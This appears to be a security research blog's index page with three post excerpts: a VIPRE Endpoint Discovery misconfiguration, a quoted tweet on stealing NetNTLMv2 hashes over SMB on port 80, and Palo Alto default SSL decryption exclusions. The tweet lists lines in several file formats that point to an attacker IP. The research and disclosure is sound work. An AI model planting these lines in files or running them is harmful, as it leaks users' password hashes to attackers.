This post documents a security mis-configuation I observed in VIPRE Endpoint Security with Endpoint Discovery.  A few years ago, I published a blog post titled The Dangers of Client Probing on Palo Alto Firewalls, which detailed how client probing feature on Palo Alto firewalls can leak service account password hashes.  This issue is very similar…

While browsing Twitter recently I came upon a tweet that I found to be very interesting: Did know that u can steal #NetNTLMv2 by changing #SMB port to bypass sec-things: net use \\1.2.3.4@80\tor pdf : /F (\\\\IP@80\\t)or dubdoc : ///IP@80/tor doc: Target="file://IP@80/t.dotx"or lnk: URL=file://IP@80/t.htmor: IconFile=\\IP@80\t.ico#RedTeam #NTLM cc @ddouhine — V (@mynameisv__) April 30, 2019 I…

When I stood up a Palo Alto firewall to do research for my blog post on The Dangers of Client Probing on Palo Alto Firewalls, I also found something interesting in the UI.  Under Device -> Certificate Management -> SSL Decryption Exclusion there was a list of domains that by default were exempt from SSL…